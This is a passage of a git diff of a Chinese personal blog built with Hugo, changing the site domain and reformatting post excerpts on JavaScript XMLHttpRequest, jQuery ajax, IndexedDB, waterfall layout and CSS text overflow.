"):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/7/index.html" "b/categories/\351\273\230\350\256\244/page/7/index.html"
index 4224f632..56620721 100644
--- "a/categories/\351\273\230\350\256\244/page/7/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/7/index.html"
@@ -1,23 +1,7 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
-xmlhttp.onreadystatechange = function(){
-if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
-document.getElementById("app").innerHTML = xmlhttp.responseText
-}
-}
-console.log(xmlhttp.readyState) // 0
-xmlhttp.open("GET","https://httpbin.org/get",true)
-console.log(xmlhttp.readyState) // 1
-xmlhttp.onprogress =function(){
-console.log(xmlhttp.readyState) // 3
-}
-xmlhttp.onload = function(){
-console.log(xmlhttp.readyState) // 4
-}
-xmlhttp.send();
-XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById("app").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open("GET","https://httpbin.org/get",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -35,19 +19,8 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://xiaochenabc123.github.io/posts/14/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
-$("button").click(function(){
-$.ajax({
-type: "GET",
-url: "https://httpbin.org/get",
-success: function(getdata){
-console.log(getdata)
-}
-})
-})
-});
-参数
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://chenjunlinabc.github.io/posts/14/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -71,7 +44,7 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://xiaochenabc123.github.io/posts/13/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
+xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://chenjunlinabc.github.io/posts/13/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
 获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight
@@ -84,22 +57,7 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
-function datamain(){
-var datawidtha = window.innerWidth;
-var datawidthb = Math.floor(data[0].offsetWidth);
-var dataab = Math.floor(datawidtha/datawidthb);
-var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
-var arr = [];
-for(var i=0;i&lt;data.length;i++){
-if(i&lt;dataab){
-data[i].style.top = 0;
-data[i].style.left = (datawidthb+ints) * i + "px";
-arr.push(data[i].offsetHeight);
-}else{
-var datamin = arr[0];
-var index = 0;
-for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://xiaochenabc123.github.io/posts/10/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&lt;data.length;i++){ if(i&lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + "px"; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://chenjunlinabc.github.io/posts/10/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
 word-break: break-all
@@ -110,44 +68,21 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://xiaochenabc123.github.io/posts/6/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://chenjunlinabc.github.io/posts/6/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open("data",1);
-datadb.onerror = function(){
-console.log("数据库打开失败")
-}
-datadb.onsuccess = function(){
-console.log("数据库打开成功");
-}
-datadb.onupgradeneeded = function(event){ console.log("数据库版本升级");
-}
-onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open("data",1); datadb.onerror = function(){ console.log("数据库打开失败") } datadb.onsuccess = function(){ console.log("数据库打开成功"); } datadb.onupgradeneeded = function(event){ console.log("数据库版本升级"); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log("数据库升级"); var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains('abc')){
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore("abc",{autoIncrement: true});
-唯一属性
-objdb.createIndex("id","id",{unique: false})
-createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains('abc')){ var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore("abc",{autoIncrement: true}); 唯一属性
+objdb.createIndex("id","id",{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open("data",1);
-var db;
-var objdb;
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-db = event....</p></div><footer class=entry-footer><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to IndexedDB浏览器数据库学习笔记" href=https://xiaochenabc123.github.io/posts/5/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/6/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+var datadb = window.indexedDB.open("data",1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log("数据库升级"); db = event....</p></div><footer class=entry-footer><span title='2021-06-15 19:00:00 +0000 UTC'>2021-06-15</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to IndexedDB浏览器数据库学习笔记" href=https://chenjunlinabc.github.io/posts/5/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/6/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/8/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/8/index.html" "b/categories/\351\273\230\350\256\244/page/8/index.html"
index 25e92292..2d30fd50 100644
--- "a/categories/\351\273\230\350\256\244/page/8/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/8/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 